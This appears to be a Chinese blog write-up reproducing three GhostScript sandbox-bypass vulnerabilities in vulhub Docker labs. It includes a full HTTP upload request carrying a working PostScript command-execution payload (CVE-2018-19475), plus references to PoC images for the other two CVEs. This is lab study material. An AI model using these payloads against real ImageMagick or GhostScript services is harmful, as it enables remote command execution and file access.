vulhub漏洞复现十七_GhostScript

前言

Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件

一、 CVE-2018-16509_GhostScript 沙箱绕过(命令执行)漏洞

漏洞原理

8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

环境搭建

执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.23、ImageMagick 7.0.8):

```

docker-compose up -d

```

环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。

漏洞利用

上传[poc.png](poc.png),将执行命令`id > /tmp/success && cat /tmp/success`。此时进入容器`docker-compose exec web bash`,将可以看到/tmp/success已被创建:

 

 

二、 CVE-2018-19475_GhostScript 沙箱绕过(命令执行)漏洞

漏洞原理

2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

漏洞环境

执行如下命令启动漏洞环境(其中包括 GhostScript 9.25、ImageMagick 7.0.8-20):

```

docker-compose up -d

```

环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。

漏洞利用

将POC作为图片上传,执行命令`id > /tmp/success && cat /tmp/success`:

```

POST /index.php HTTP/1.1

Host: target

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO

Content-Length: 279

------WebKitFormBoundaryukZmnyhO

Content-Disposition: form-data; name="file_upload"; filename="1.jpg"

content-Type="image/png"

%!PS

0 1 300367 {} for

{save restore} stopped {} if

(%pipe%id > /tmp/success && cat /tmp/success) (w) file

------WebKitFormBoundaryukZmnyhO--

```

命令已成功执行:

当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。

三、 CVE-2019-6116_GhostScript 沙箱绕过(命令执行)漏洞

漏洞原理

2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

漏洞环境

执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.26、ImageMagick 7.0.8-27):

```

docker-compose up -d

```

环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。

漏洞利用

作者给出了[POC](poc.png),上传这个文件,即可执行`id > /tmp/success`:

也可以用``docker run -it --rm --name uu -v `pwd`/poc.png:/tmp/poc.png vulhub/imagemagick:7.0.8-27-php identify /tmp/poc.png``来直接测试poc:

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值